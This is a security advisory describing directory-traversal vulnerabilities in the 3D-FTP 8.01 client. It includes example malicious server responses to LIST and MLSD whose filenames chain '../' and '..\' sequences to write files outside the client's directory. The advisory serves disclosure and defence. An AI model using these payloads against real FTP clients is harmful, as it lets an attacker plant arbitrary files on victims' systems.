source: http://www.securityfocus.com/bid/29749/info

3D-FTP is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues allows an attacker to write arbitrary files to locations outside of the FTP client's current directory. This could help the attacker launch further attacks.

3D-FTP 8.01 is vulnerable; other versions may also be affected. 

The following example responses are available:
Response to LIST (backslash):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 \..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to LIST (forward-slash):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 /../../../../../../../../../testfile.txt\r\n

Response to LIST (combination):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 ../..\/..\/..\/../..\/../..\/../testfile.txt\r\n

Response to MLSD (backslash):
type=file;modify=20080227074710;size=20; \..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to MLSD (forward-slash):
type=file;modify=20080227074710;size=20; /../../../../../../../../../testfile.txt\r\n

Response to MLSD (combination):
type=file;modify=20080227074710;size=20; ../..\/..\/..\/../..\/../..\/../testfile.txt\r\n